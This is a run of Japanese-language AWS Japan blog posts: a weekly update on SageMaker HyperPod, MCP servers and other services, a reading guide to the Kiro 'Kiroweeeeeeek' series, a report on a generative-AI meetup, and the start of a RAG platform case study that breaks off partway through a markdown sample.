インスタンスまでのバッチ処理で効率的な運用が実現します。機械学習ワークロードの実行中にノード障害が発生した際も、迅速な復旧によりダウンタイムを最小化できます。現在オハイオ、ムンバイ、東京リージョンで利用可能です。詳細は こちらのドキュメント をご参照ください。 Amazon SageMaker HyperPod がカスタム Kubernetes ラベルと taint をサポート Amazon SageMaker HyperPod でカスタム Kubernetes ラベルと taint がサポート開始されました。これにより GPU リソースの効率的な制御とワークロード配置が可能になります。従来は kubectl を使った手動設定と運用が必要でしたが、今回のアップデートで CreateCluster や UpdateCluster API を通じて自動管理できるようになりました。インスタンスグループごとに最大 50 個のラベルと 50 個の taint を設定でき、高コストな GPU リソースを AI トレーニング専用に確保したり、デバイスプラグインとの統合も簡単になります。詳細は こちらのドキュメント をご参照ください。 SageMaker HyperPod が Managed tiered KV cache とインテリジェントルーティングをサポート Amazon SageMaker HyperPod で Managed Tiered KV Cache と Intelligent Routing が利用可能になりました。大規模言語モデル (LLM) の推論で、長い文書処理や会話の文脈維持時のパフォーマンスを最適化できます。従来は新しいトークン生成のたびに全ての過去のトークンに対して計算が必要でしたが、計算済みの値をキャッシュして再利用することで最大 40 % のレイテンシ削減と 25 % のコスト削減を実現します。詳細は こちらのユーザーガイド をご参照ください。 MCP 新しい Amazon SageMaker AI MCP Server で Amazon SageMaker HyperPod クラスターを管理 Amazon SageMaker AI MCP Server で HyperPod クラスターの設定・管理機能が追加されました。AI コーディングアシスタントが AI/ML クラスターを自動構築・運用できるようになり、データサイエンティストがインフラの専門知識なしでモデル訓練環境を構築可能です。CloudFormation テンプレートによる最適化で高性能な分散訓練・推論ワークロードに対応し、クラスター管理やスケーリング、メンテナンスも自動化されます。詳細は こちらのドキュメント をご参照ください。 AWS Knowledge MCP Server がトピックベース検索をサポート AWS Knowledge MCP Server がトピックベース検索に対応し、AI エージェントや開発者が AWS ドキュメントをより効率的に検索できるようになりました。従来は一般的な検索のみでしたが、今回 Troubleshooting や AWS Amplify、CDK などの特定分野に絞った検索が可能になり、関連性の高い情報を素早く取得できます。例えばエラー解決時にはトラブルシューティングドキュメントのみを検索し、フロントエンド開発では Amplify 関連情報だけを対象にできるため、開発効率が大幅に向上します。詳細は こちらのドキュメント をご参照ください。 AWS API MCP Server が AWS Marketplace で利用可能になりました AWS API MCP Server が AWS Marketplace で利用開始されました。従来はRemote MCP のみでしたが、お客様独自のインフラストラクチャ (Amazon Bedrock AgentCore) に MCP サーバーをデプロイできるようになりました。企業レベルのセキュリティとスケーラビリティを実現します。認証設定や IAM ポリシーの実装が可能で、コンテナ管理も簡素化されます。詳細は こちら をご参照ください。 その他 Amazon OpenSearch Service が Agentic Search を導入 Amazon OpenSearch Service で Agentic Search が開始されました。これまで複雑な検索構文を覚える必要がありましたが、今回のアップデートで「3万ドル以下の赤い車を探して」といった自然言語での検索が可能になりました。AI エージェントがユーザーの意図を理解し、最適な検索戦略を自動選択して結果を返してくれます。技術的な専門知識がなくても直感的にデータ検索ができるため、業務効率が大幅に向上します。OpenSearch Service version 3.3 以降で利用可能です。詳細は こちらの技術文書 をご参照ください。 Amazon Lex が自然言語理解の主要オプションとして LLM をサポート開始 Amazon Lex で LLM (大規模言語モデル) を使った自然言語理解が可能になりました。これまでより複雑な会話や曖昧な表現も正確に理解し、スペルミスがあっても適切に処理できます。例えば「フライトのことで助けが欲しい」という曖昧なリクエストに対して、ステータス確認・アップグレード・変更のどれを求めているか自動で確認してくれます。音声・チャットボット両方で利用でき、より自然な顧客対応が実現します。詳細は こちらのドキュメント をご参照ください。 それではまた来週お会いしましょう！来週は re:Invent 2025 特別号をお送りします！ 著者について 木村 直登(Naoto Kimura) AWS Japan のソリューションアーキテクトとして、製造業のお客様に対しクラウド活用の技術支援を行なっています。最近は AI Agent と毎日戯れており、AI Agent 無しでは生きていけなくなっています。好きなうどんは’かけ’です。 野間 愛一郎 (Aiichiro Noma) AWS Japan のソリューションアーキテクトとして、製造業のお客様を中心に日々クラウド活用の技術支援を行なっています。データベースやデータ分析など、データを扱う領域が好きです。最近、ハーブを育てるのにハマっています。

こんにちは、ソリューションアーキテクトのいなりく㌔ 11 月 18 日から 29 日まで開催した「 Kiroweeeeeeek in Japan 」、たくさんの方にご参加いただき、ありがとうございました！この連載イベントは、 Kiro の一般提供開始 を記念して、日本のお客様に向けた特別企画として実施しました。 12 日間にわたり、AWS Japan の社員が「仕様駆動から実装・運用までの道筋」をテーマに、実践的な情報をお届けしてきました。Day1 の導入ガイドから始まり、移行方法、セキュリティ、ペアプログラミング、Shell スクリプト開発、CLI ツール、仕様駆動開発、チーム開発、そしてパートナーエコシステムとの連携まで、幅広いトピックをカバーしています。 このブログでは、公開された全 10 個のコンテンツを振り返りながら、「あなたの状況や関心に合わせて、どこから読むべきか」をガイドします。Day1 から順に読む必要はありません。あなたのニーズに合ったコンテンツから始めて、Kiro の可能性を最大限に引き出しましょう。 豆知識：「Kiro」という名前の由来 本題に入る前に、少しだけ豆知識を。 「Kiro」という名前、実は日本語の「岐路（きろ）」に由来しています。 岐路とは、道が分かれる場所、つまり「分岐点」や「重要な選択の瞬間」を意味します。ソフトウェア開発において、私たちは常に無数の選択に直面しています。どのアーキテクチャを採用するか、どの技術スタックを選ぶか、どのように問題を解決するか。これらの岐路での判断が、プロジェクトの成否を左右します。 Kiro は、まさにこの「岐路」に立つ開発者を支援するツールです。AI の力を借りて、複雑な選択肢を整理し、最適な道筋を見出す手助けをします。仕様駆動開発（Spec）という機能は、要件定義から設計、実装へと続く道のりを明確にし、「どこに向かっているのか」を常に意識しながら開発を進められるようにします。 また、岐路には「新しい可能性への入口」という意味も込められています。従来の開発手法から AI 駆動開発への転換点、個人開発からチーム開発への拡張、そして人間の創造性と AI の自動化が融合する新しい開発パラダイムへの入口。Kiro は、開発者が新しい時代の岐路に立ち、自信を持って一歩を踏み出せるよう設計されています。 「Kiro」という名前は、単なる選択ではなく、目的の表明です。開発の岐路に立つあなたを支え、イノベーションへの最適な道を共に見つけ出します。 あなたはどのタイプ？ペルソナ別おすすめガイド 1. 「Kiro を初めて使います」というあなたへ こんな方におすすめ Kiro を初めて使う Amazon Q Developer の経験もない どこから始めればいいかわからない おすすめの学習パス まずは Day 1: Kiro 導入ガイド：始める前に知っておくべきすべてのこと から始めましょう。このコンテンツでは、Kiro のプラン体系（Free/Pro/Pro+/Power）、請求方法、認証方式（IAM Identity Center、Builder ID、GitHub、Google）について整理されています。特に、「自分はどのプランが適しているのか」「AWS 請求に統合するにはどうすればいいのか」といった疑問に答えてくれます。 基本を理解したら、実践的な使い方を体験してみましょう。3 つの選択肢があります。 チーム開発に興味がある方 は Day 4: Kiro を使ったペアプログラミングのすすめ からはじめましょう。AWS 社内ハッカソンでの実践例を通じて、Kiro を使った新しい開発スタイルを学べます。ホワイトボーディングの画像認識、Agent Hooks による自動化、MCP ツールの活用など、具体的なノウハウが満載です。 インフラや運用が専門の方 は Day 5: インフラエンジニアのあなたも！Shell スクリプト開発で Kiro を使ってみよう からはじめましょう。「Kiro は自分には不要では？」と思っている方こそ読んでほしい記事です。ディスククリーンアップスクリプトの開発や既存スクリプトの改善を通じて、Kiro がインフラエンジニアにも役立つことを実感できます。Kiro の Spec モードを使うことで、「書いた本人しか理解できない」「動いているから触りたくない」という状況を避けられ、開発プロセスの中で自然とドキュメント（セットアップ手順、実行方法、ファイル構成を含む）が生成されます。また、エラーハンドリング、適切なログ出力、セキュリティ対策などのベストプラクティスが自動的に適用されたコードが生成されます。 ハンズオンで学びたい方 は Kiro 日本語ワークショップ で実際に手を動かしながら学べます。Kiro の基本的な使い方から、Spec 機能、Agent Hooks、MCP の活用まで、段階的に学習できる構成になっています。 2. 「Amazon Q Developer から移行したい」というあなたへ こんな方におすすめ Amazon Q Developer の IDE プラグインを使用中 Kiro への移行方法を知りたい 新機能を理解したい おすすめの学習パス まず Day 1: Kiro 導入ガイド で、Amazon Q Developer と Kiro の関係性を理解しましょう。重要なポイントは、Amazon Q Developer Pro サブスクリプションを維持したままでも Kiro の一部機能（Kiro CLI / Kiro IDE を Pro 相当として）を利用できることです。ただし、上位プランへの変更には Kiro サブスクリプションへの手動アップグレードが必要です。 次に Day 2: Amazon Q Developer の IDE プラグインから Kiro に乗り換える準備 で、具体的な移行方法を学びましょう。このコンテンツでは、プロファイル移行（拡張機能、テーマ、設定、ショートカットの引き継ぎ）、Rules から Steering への進化、MCP の継続利用について詳しく解説されています。特に注目すべきは、Kiro の最大の特徴である「仕様駆動開発（Spec）」と「Agent Hooks」という新機能です。移行の準備ができたら、Kiro の真価を発揮する仕様駆動開発を体験してみましょう。 Day 7: イベントストーミングから要件・設計・タスクへ または Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、Spec 機能の活用方法を深く理解できます。 3. 「組織での導入を検討している」というあなたへ こんな方におすすめ チームや組織での Kiro 導入を検討している セキュリティ、ガバナンス、請求管理が気になる エンタープライズ利用の要件を満たしたい おすすめの学習パス まず Day 1: Kiro 導入ガイド で、プラン体系と請求統合の仕組みを理解しましょう。企業で利用する場合は、Kiro Pro プラン以上と AWS IAM Identity Center の組み合わせが推奨されます。これにより、AWS 請求に統合でき、組織単位での従量管理が可能になります。 次に Day 3: Kiro を組織で利用するためのセキュリティとガバナンス で、エンタープライズ利用のための統制機能を確認しましょう。このコンテンツでは、Kiro for enterprise の提供内容、データ保護（暗号化、サービス改善のオプトアウト）、利用状況の可視化、Overage と MCP の統制、ネットワーク設定（ファイアウォール、プロキシ、PrivateLink）について詳しく解説されています。特に重要なのは、Kiro for enterprise ユーザーはテレメトリとコンテンツ収集から自動的にオプトアウトされ、サービスの改善に利用されない点です。 組織での導入が決まったら、 Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、チーム開発における Spec ファイルの管理方法を学びましょう。機能ごとの Spec 分割、バージョン管理、複数アプリ間での共通仕様の管理など、長期的に負債化しない開発体制を構築するためのベストプラクティスが紹介されています。 チーム開発での実践例を知りたい方は、 Day 9: Kiro を使ったチーム開発の実践 も合わせて読みましょう。AWS Japan の新卒メンバーが 4 人チームで Chrome 拡張機能を開発した実例を通じて、ステアリング機能の活用、適切なタスク分解、技術的境界での Spec 分割など、チーム開発で Kiro を最大限活かすコツが紹介されています。 発注元として開発会社と協業している方は、 Day 10: スピードと品質の両立 – Kiro が加速する開発、GitLab AI が支えるレビュー が特に参考になります。Kiro の圧倒的なスピードと GitLab + Amazon Bedrock による品質担保を組み合わせることで、「開発が速すぎてレビューが追いつかない」という課題を解決する新しいパートナーシップモデルが提案されています。発注元の非エンジニアでも AI の支援により仕様書レベルでの品質チェックが可能になり、早期段階での問題発見によるコスト削減を実現できます。 4. 「実践的な使い方を知りたい」というあなたへ こんな方におすすめ 基本は理解済み 実際の開発での活用方法を知りたい 具体的なユースケースや開発フローが見たい ターミナルベースの開発を好む おすすめの学習パス まず Day 4: Kiro を使ったペアプログラミングのすすめ で、AI 時代の新しい開発スタイルを体験しましょう。このコンテンツでは、AWS 社内ハッカソンでの実践例を通じて、Kiro を使ったペアレビューの効果（認知負荷の分散、即座のフィードバックループ）が紹介されています。ホワイトボーディングの画像認識、Agent Hooks による日英ドキュメント翻訳、MCP ツールの活用など、実践的なノウハウが満載です。 次に Day 7: イベントストーミングから要件・設計・タスクへ で、ビジネス分析から実装への橋渡しを学びましょう。イベントストーミングで可視化したビジネスフローを、Kiro の Spec 機能を使って要件定義・設計・実装タスクへと変換していくプロセスが詳しく解説されています。EARS 記法での要件定義、プロパティベーステストの自動生成など、ドメイン駆動設計と相性が良いプラクティスが組み込まれています。 Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、Spec ファイルの長期的な管理方法を理解しましょう。Day7 で Spec の作り方を学んだら、Day8 で管理方法を学ぶという流れです。機能ごとの Spec 分割、requirements.md からの変更適用、Vibe から Spec への変換、バージョン管理など、実践的なベストプラクティスが紹介されています。 チーム開発での実践例を知りたい方は、 Day 9: Kiro を使ったチーム開発の実践 も必読です。AWS Japan の新卒メンバーが 4 人チームで約 2 ヶ月かけて Chrome 拡張機能を開発した実例を通じて、ステアリング機能の活用（技術選定とバージョン管理、Spec との連携、AI からのヒアリング促進）、適切なタスク分解（MVP 思考での Spec 分割、技術的境界での切り分け）など、チーム開発で Kiro を最大限活かすコツが詳しく紹介されています。 ターミナルベースの開発が好きな方は、 Day 6: Amazon Q Developer CLI から Kiro CLI へ：知っておくべき変更点 も合わせて読みましょう。ファジー検索機能（Ctrl+S で全コマンドを検索可能）、カスタムエージェント機能、スクリーンショット貼り付け機能（Ctrl+V でクリップボードの画像を直接チャットに貼り付け）、実験機能（ /knowledge 、 /thinking 、 /tangent 、 /todos 、 /checkpoint など）が紹介されています。CLI でも IDE でも、Spec 機能は同じように活用できます。 特に注目：Kiro の真価を発揮する「仕様駆動開発」 Kiroweeeeeeek in Japan の中でも、特に注目していただきたいのが Day7 と Day8 で紹介された「仕様駆動開発（Spec）」です。これは Kiro の最大の特徴であり、他の AI コーディングツールにはない革新的な機能です。 Day 7: イベントストーミングから要件・設計・タスクへ。Kiro を活用した仕様駆動開発 イベントストーミングは、ビジネスの流れを可視化し、業務のエキスパートや開発メンバーが同じ理解を持てるようにするためのプラクティスです。しかし、「どこから実装に落とし込むのか」「どうテストするのか」という部分は、開発者がつまずきやすいポイントでした。 Day7 のコンテンツでは、EC サイトの注文プロセスを題材に、イベントストーミングの成果物を Kiro の Spec 機能を使って要件定義・設計・実装タスクへと変換していくプロセスが紹介されています。 コンテンツのハイライト： イベントストーミングの画像を Kiro に添付するだけで、要件の初版が生成される EARS 記法（WHEN / IF / THEN 形式）での構造化された要件定義 設計フェーズでのデータモデルとサービスメソッドの自動生成 プロパティベーステストの自動生成（「任意の〜に対して、〜すべきである」という形式） イベントストーミングの「〜したら、〜になる」という因果関係が、プロパティテストの「任意の〜に対して、〜すべきである」という考え方と相性が良い このコンテンツを読むことで、ビジネス分析から実装までの一貫した流れを理解でき、ドメイン駆動設計と相性が良いプラクティスを学べます。 Day 8: Kiro における負債にならない Spec ファイルの扱い方 Spec ファイルは「仕様駆動開発」を構成する要素であり、仕様を起点として設計・実装を進めることで、仕様と実装の同期を保ちながら開発を進めることができます。しかし、正しく扱わないと負債になる可能性があります。 Day8 のコンテンツでは、「Spec ファイルの切り方」「Spec ファイルの更新方法」「Spec ファイルの共有方法」の 3 つの視点から、負債にならないための工夫が紹介されています。 コンテンツのハイライト： Spec の切り方 ：プロジェクト全体を一つの巨大な Spec ファイルで管理せず、機能ごとに分割する（例：user authentication、product-catalog、shopping-cart など） Spec の更新方法 ：requirements.md → design.md → tasks.md → 実装の順で更新し、一貫性を保つ。または、Vibe モードで実装してから Spec に変換する Spec の共有方法 ：バージョン管理により実装と実装意図をまとめて管理。複数アプリ間の共通仕様は専用リポジトリで一元管理 Day7 で Spec の作り方を学んだら、Day 8 で管理方法を学ぶという流れです。この 2 つのコンテンツを合わせて読むことで、Kiro の仕様駆動開発を実践的に活用できるようになります。 まとめ：Kiro で変わる開発パラダイム Kiroweeeeeeek in Japan を通じて、Kiro が単なる AI コーディングアシスタントではなく、開発パラダイムを変える可能性を持つツールであることをお伝えしてきました。 従来の AI コーディングアシスタントは、プロンプトを入力すればすぐにコードを生成してくれますが、そのコードが本当に要件を満たしているのか、どのような設計判断がなされたのかは不透明でした。Kiro の仕様駆動開発は、この問題を解決します。要件（Requirements）、設計（Design）、タスク（Tasks）という 3 つのフェーズを経て、構造化された開発プロセスを実現し、仕様と実装の同期を保ちながら開発を進めることができます。 また、Agent Hooks による自動化、MCP による外部システム連携、Steering によるプロジェクト固有のルール適用など、チーム開発を支援する機能も充実しています。Kiro は、個人の生産性向上だけでなく、チーム全体の開発効率と品質を向上させるツールとして設計されています。 次のステップ Kiroweeeeeeek in Japan のコンテンツを読んで、Kiro に興味を持っていただけたでしょうか？ 次のステップとして、以下のアクションをおすすめします。 Kiro をダウンロード Kiro の公式サイト から Kiro IDE または Kiro CLI をダウンロード しましょう。まずは Free プランから始めて、基本的なコード生成機能や仕様駆動開発を体験できます。 自分のペルソナに合ったコンテンツから読み始める このブログで紹介したペルソナ別ガイドを参考に、あなたに最適なコンテンツから読み始めましょう。すべてのコンテンツを読む必要はありません。必要な情報から順に学んでいきましょう。Kiroweeeeeeek in Japan で公開された記事に関しては定期的にお客様からいただいた質問をベースに可能な限りメンテナンスしていく予定です。ぜひお気に入りなどに登録しておいてください。 実際に Kiro を使って開発を試す 小さなプロジェクトから始めて、Kiro の Spec 機能や Agent Hooks を試してみましょう。実際に使ってみることで、Kiro の真価を実感できます。 コミュニティに参加 X（旧 Twitter）で #kiroweeeeeeek をつけて、あなたの体験や疑問を共有してください。どんな業界・規模・開発スタイルの方からの投稿も大歓迎です。AWS Japan チームも引き続き情報発信を続けていきますので、ぜひフォローしてください。Kiro は、生成 AI とエージェント時代における新しい開発パラダイムを提案しています。この Kiroweeeeeeek in Japan が、皆さまの開発体験を向上させる一助となれば幸い㌔ それでは、Kiro を使った新しい開発の旅を楽しんで㌔

アマゾン ウェブ サービス ジャパン（以下、AWS ジャパン）が 2024 年 7 月に発表した「 生成 AI 実用化推進プログラム 」は、生成 AI の活用を支援する取り組みです。基盤モデルの開発者向けと、既存モデルを活用する利用者向けの 2 つの枠組みを提供し、企業の目的や検討段階に応じた最適な支援を行ってきました。また、2025 年 4 月から生成 AI 活用の戦略策定段階からご支援する「戦略プランニングコース」も提供を開始しております。 その「生成 AI 実用化推進プログラム」の参加者や、GENIAC（Generative AI Accelerator Challenge）の関係者、生成 AI に関心を持つ企業が一堂に会する「生成 AI Frontier Meetup」が、2025 年 11 月 17 日に開催されました。2024 年 11 月 15 日の 第 1 回 、2025 年 2 月 7 日の 第 2 回 、2025 年 4 月 16 日の 第 3 回 、2025 年 8 月 26 日の 第 4 回 に続き、今回が第 5 回となります。本記事では、イベントの模様をレポートします。 本イベントの司会進行は、AWS ジャパン 事業開発統括本部 グロース事業開発本部長の塚本 陽子が務め、全体を通じて登壇者の紹介やセッションの案内を行いました。 開会のご挨拶 イベントの冒頭では、AWS ジャパン 事業開発統括本部の飯島 恵介がご挨拶をしました。 「生成 AI 実用化推進プログラム」では、2024 年の開始から現在までに、累計で 250 社を超えるお客様を支援してきました。また、「 AWS Generative AI Accelerator 」では日本から 2024 年は 3 社、2025 年は 2 社のお客様を支援。経済産業省と NEDO が主導する「GENIAC」では第 2 期・第 3 期ともに 13 社の事業者を支援していることにも触れました。 加えて、市場のニーズや技術的な潮流を踏まえ、「生成 AI 実用化推進プログラム」を柔軟に変更している点も語られました。2025 年 4 月に「戦略プランニングコース」を新設、6 月には「モデルカスタマイズコース」と「モデル活用コース」を拡充しましたが、その内容をさらに改善しました。「モデルカスタマイズコース」には「GENIAC-PRIZE 応募者支援」、「モデル活用コース」には「Agentic AI 実用化推進」のメニューを追加しています。 飯島は Agentic AI の関連情報についても触れ、AI エージェントを安全かつ大規模に展開するための Amazon Bedrock AgentCore や、データ分析からインサイト獲得までを統合的に支援する Amazon Quick Suite といった最新サービスを紹介しました。 最後に、本イベントが 5 回目を迎えたことへの感謝を伝え、参加者同士の交流を通じてコミュニティ全体が発展していくことへの期待を示し、挨拶を締めくくりました。 AWS セッション ここからは、二部構成で AWS セッションを進行しました。 前半パートでは、特別ゲストとして来日した Anthropic 社の Member of Technical Staff である Jason Kim 氏（写真左）と、AWS ジャパン Data & AI 事業統括本部 事業開発マネージャーの田村 圭（写真右）によるディスカッションが行われました。 セッションの冒頭では、Anthropic 日本法人設立の背景として Jason 氏が 3 つの点を挙げました。第一に、日本にはすでに強力な顧客・パートナー基盤が存在していること。第二に、「倫理的で安全な AI の研究を進める」という同社の理念と、日本のエンタープライズ企業が期待する「責任ある AI」への姿勢が合致したこと。そして第三に、政府や公共機関との連携を含めた、今後の協業への大きな期待があったことです。 話題が Claude Code の具体的な活用法に移ると、Jason 氏は各種のユースケースを紹介しました。特に強調されたのが「マルチエージェント」というコンセプトです。Anthropic 社内では、一人のエンジニアが複数の Claude Code を同時に利用し、それぞれに「プロジェクトマネージャー」「バックエンドエンジニア」「セキュリティ専門家」といった異なる役割を与え、協調させて開発を進めているとのことです。 さらに、Anthropic 社においてロボティクスの専門知識がないチームが、Claude Code を用いてわずか 6 時間でロボット犬のプログラミングに成功した事例も紹介しました。汎用的なコーディングだけでなく、ハードウェア制御のような専門領域でもその能力を発揮できると、Claude Code のポテンシャルを強く印象付けました。 セッション後半では、AWS ジャパン AI/ML Specialist SA の石見 和也が登壇。Anthropic 社のCoding AgentであるClaude Codeを、AWSと組み合わせて安全かつ効率的に活用するための具体的なソリューションを提示しました。 石見氏は、企業ごとの要件に合わせた Claude Code の利用形態として、「 Amazon Bedrock の API との連携」と「 AWS Marketplace 上での Claude for Enterprise の購入」という 2 つの選択肢を紹介しました。前者は、データを AWS 内に閉じて管理できることや、従量課金での利用が可能になるメリットがあります。後者は、AWS Marketplace で Claude の定額プランを購入することで、予算管理や社内承認プロセスを簡素化できる点が利点だと説明しました。 終盤では、日本国内で Claude Code と Amazon Bedrock を組み合わせた導入プロジェクトが増加していることに触れ、企業の生成 AI 活用が本格化するフェーズに入りつつあることを示しました。 プログラム参加者によるライトニングトーク ここからは、生成 AI 実用化推進プログラムに参加する各社の代表者が登壇し、AWS のサービス利用を軸にした取り組みを紹介しました。AWS ジャパン サービス & テクノロジー事業統括本部 技術本部長の小林 正人（写真左）と、AI/ML Specialist SA の飯塚 将太（写真右）がモデレーターを務め、登壇者に質問を投げかけつつ進行しました。 株式会社ドワンゴ技術本部 Dwango Media Village 部長の小田桐 優理 氏は、麻雀の対局の全履歴である「牌譜」の続きを予測することで、麻雀のあらゆる事象を統合的に理解するモデルについて紹介しました。Amazon Bedrock で利用可能な Qwen3 をベースモデルに選択し、 AWS ParallelCluster を活用して大規模な学習を実施しています。将来的には、麻雀についての深い議論ができたり麻雀における反実仮想的な思考 (もし〜だったら？) 等ができる、麻雀の世界を深く理解した麻雀 AI の様々な応用を目指しています。 株式会社 JPX 総研 IT ビジネス部 統括課長の太子 智貴 氏は、自然言語検索による適時開示情報へのアクセス改善に向けた取り組みを紹介しました。Amazon OpenSearch Service と Claude を組み合わせ、表記ゆれや類義語を吸収した多言語での柔軟な検索を実現しています。また、開発には AWS CDK を導入しており、生成 AI によるコーディングで開発サイクルを高速化することで、変化の速い AI 分野に迅速に対応できる体制を整えています。 ネットイヤーグループ株式会社 第 2 事業部 第 2 デジタルインテグレーション部 第 6 チームチームマネジャーの峰村 仁子 氏は、対話型 AI と専門家のサポートによるインタビュー支援サービス「AI Deep Insights」のエピソードを紹介。ユーザーインサイトの把握に不可欠なインタビュー調査には、時間やコスト、手間がかかります。この課題を解決するため「AI Deep Insights」を開発し、根拠に基づいたインサイト分析を実現しました。 株式会社ディー・エヌ・エー IT 本部  IT 戦略部の田中 誠也 氏は、社内ヘルプデスクの AI 活用を推進した事例を発表しました。もともとは内製の RAG システムを使用していましたが、問い合わせへの回答精度に課題がありました。そこで、チャンク化戦略など精度向上に不可欠な高度な機能が標準搭載されている Amazon Bedrock  ナレッジベース を導入。内製時の知見を活かして短期間でチューニングを行い、回答精度を向上させました。 株式会社ネットプロテクションズ ソリューションアーキテクトグループ/生成 AI WG 統括責任者の田中 哉太 氏は、カスタマーエクスペリエンス向上に向けた AI 活用について、MVP アプローチによる導入事例が発表されました。既存の FAQ をナレッジソースとし、対象領域を絞って段階的に開始することで、安全な導入と知見の獲得を実現し、顧客対応の効率化と応答時間の短縮に成功しました。 株式会社 情報戦略テクノロジー AI Officer の藤本 雅俊 氏は、社内に分散した知見を集約する AI エージェント「パイオにゃん」の開発事例を発表しました。同サービスは、Slack や Google カレンダー等の複数ツールと連携し、社員一人ひとりに伴走する AI コンシェルジュとして機能します。開発では Amazon Bedrock ナレッジベースや Strands Agentsに加え、ソフトウェア開発生成 AI アシスタント Amazon Q Developer を全面的に活用しました。 開発者のモデルご紹介 ここからは、基盤モデルを開発する各社の代表者が登壇しました。 SDio 株式会社 PM の竹岡 良輔 氏は、同社が開発する大規模映像基盤モデル DeepFrame について紹介しました。このモデルは人間のように、数時間以上の長尺映像を「点」ではなく「ストーリー」として深く理解することを目指しています。この技術を応用し、TV コンテンツを秒単位で検索できる AI 検索プラットフォーム「TVPulse」を展開しています。 カラクリ株式会社 R&D team Lead の武藤 健介 氏は、カスタマーサポート領域における LLM 開発の取り組みを発表しました。 AWS Trainium を駆使し、コストを抑えながら大規模モデルを開発。特に、API 連携なしに人間のように PC 画面を視覚的に操作する Computer-Using Agent の開発に注力しています。セッション内では、顧客管理システムを自動で操作してメール返信するデモを披露しました。 登壇者の皆様 クロージング AWS ジャパン 事業開発統括本部 生成 AI 推進マネージャーの梶原 貴志がクロージングを行いました。来年も「生成 AI Frontier Meetup」を開催すると言及し、加えて近日開催予定の生成 AI 関連のイベントもご案内しました。 AWS re:Invent  ～AWSが主催するグローバルなクラウドコンピューティングコミュニティのための「学習型カンファレンス」～ 1 週間にわたるイベント期間中、画期的な基調講演、ハンズオンの技術セッション、対話形式の学習機会を通じて、クラウドのパイオニアや革新者たちが、クラウド移行から生成 AI に至るまで、世界を変える画期的なソリューションを生み出します。 イベント概要 日時: 2025 年 12 月 1 日～5 日 開催地: 米国・ラスベガス https://reinvent.awsevents.com/ AWS Black Belt Online Seminar 2025 年 AWS re:Invent 速報 AWS re:Invent の会期中に発表された新サービス・新機能を 1 時間で網羅してご紹介。 イベント概要 日時: 2025年 12 月 5日 (金) 12:00～13:00 JST 開催方式: オンライン https://pages.awscloud.com/blackbelt-online-seminar-reinvent-recap-2025-reg.html Amazon Q Developer & Kiro Meetup #5  ～AWS re:Invent アップデート速報 & お客様の活用事例紹介～ AWS re:Invent でアップデートのあった Amazon Q Developer および Kiro の解説と、お客様による Amazon Q Developer および Kiro の実践事例をご紹介。また後半では、現地にお越しいただいた方のネットワーキングの時間も用意しております。 イベント概要 日時: 2025 年 12 月 15日 (月) 19:00～21:00 (18:30 受付開始) 開催方式: ハイブリッド (前半講演のみ) https://aws-experience.com/apj/smb/event/e911ba36-4350-4bcc-8bd7-12611befa9bc 参加者交流会の様子 交流会では、各セッションで共有された事例を起点に、登壇者と参加者が自由に意見を交わす様子が目立ちました。生成 AI 導入における工夫や課題、今後の方向性をめぐって熱心な議論が続き、会場全体に活気があふれていました。業種や役割を超えたネットワーキングも進み、実務で得た知見を共有しながら、新たな連携や共創の芽が育まれる場となりました。 会場内には、全般的な質問に応じる「よろず相談」、技術的な相談に応じる「Ask an Expert」コーナーも設けられ、ご参加のお客様の質問に回答いたしました。 おわりに 本イベントは、生成AIの社会実装に向けた最新の取り組みや、具体的な業務活用の事例が数多く紹介され、現場で役立つ学びを得られる有意義な時間となりました。AWS ジャパンは、今後も業界横断での交流や技術支援を通じて、企業の生成 AI 活用を後押しし、持続的な実用化に貢献していきます。

はじめに 東京海上日動システムズ株式会社様（以下、同社）では、生成 AI を活用した継続的な変革に取り組まれています。これまで、 生成AIによるアプリケーションモダナイゼーション や AI-DLC（AI-Driven Development Life Cycle）による開発変革 について紹介してきましたが、本ブログでは、同社の生成 AI 活用のもう一つの重要な取り組みである、全社向けの生成 AI アプリケーション実行基盤の構築についてご紹介します。 特に、RAG（Retrieval-Augmented Generation）システムの構築における技術選定と実装の工夫は、同様のプロジェクトを検討されている企業の皆様にとって有益な知見となるはずです。 全社生成 AI 実行基盤の構想 プロジェクトの背景と目的 同社は、全社向けの生成 AI アプリケーション実行基盤の構築に取り組みました。このプラットフォームは、生成 AI アプリケーションのガバナンス機能、データ、ビジネスロジック等を共通化することで、アプリケーション開発の品質と速度を向上させることを目的としており、生成 AI アプリケーション構築における中核プラットフォームとしての役割を担います。 アーキテクチャの特徴 同社はマルチアカウント構成によるスケーラビリティを重視した設計を採用しました。各生成 AI アプリケーションを独立したアカウントで運用することで、障害や負荷の影響を分離できます。また、Amazon Bedrock などの AWS サービスにはアカウント単位でリクエスト数などのクォータが設定されていますが、アカウントを分離することで各アプリケーションが独立してクォータを利用でき、スケーラブルな運用が可能になります。 一方、共通 GW アカウントでは、入出力のフィルタリングやログの監視などのガバナンス機能を集約して提供します。これにより、全社で統一されたセキュリティポリシーとコンプライアンス要件を満たしながら、各アプリケーションが安全に生成 AI を活用できる環境を実現します。 全社生成 AI 実行基盤のアーキテクチャ RAG システムの構築 システムの概要 プラットフォーム上で動作する生成 AI アプリケーションの１つとして、同社は RAG システムを開発しています。このシステムは、複数のデータソース（社内 FAQ サイト、社内マニュアル、過去の問い合わせ履歴など）を統合し、高精度な情報検索と回答生成を実現します。 この RAG システムの構築において、同社はいくつかの技術的な工夫を行いました。 ドキュメント解析：Foundation Model Parsing の活用 このシステムで扱う社内マニュアルは、二段組レイアウト、図表とテキストの混在、階層的な情報構造など、非常に複雑な特徴を持っています。このような複雑なレイアウトを正確に理解し、適切な形式で情報を抽出するため、Amazon Bedrock Knowledge Bases の Foundation Model Parsing を採用しました。 この機能は、Anthropic Claude などの高度な基盤モデルを活用したマルチモーダル機能により、PDF や画像ファイル内のテキスト、図表、画像などを理解し、抽出します。Claude の高度な視覚理解能力により、複雑な文書構造を正しい順序で抽出し、注釈や図表の説明を適切な位置に配置することで、高精度な情報検索と回答生成が可能となりました。 以下は、Claude Sonnet 4 を利用した Foundation Model Parsing による抽出の様子を示すサンプルです。実際の同社のマニュアルではありません。左側のページの画像から、右側のように構造化されたテキストが抽出されます。 <markdown> # 1 複合機の基本操作方法 ※これはサンプルです 本ドキュメントはレイアウトサンプルであり、実際のお客様のマニュアルではありません。 オフィスで使用する複合機の基本的な操作方法について説明します。注1 (1) コピー機能を使用する場合は、原稿台に原稿をセットし、コピー枚数を指定してスタートボタンを押します。注2 また、以下の機能も利用できます。 ① 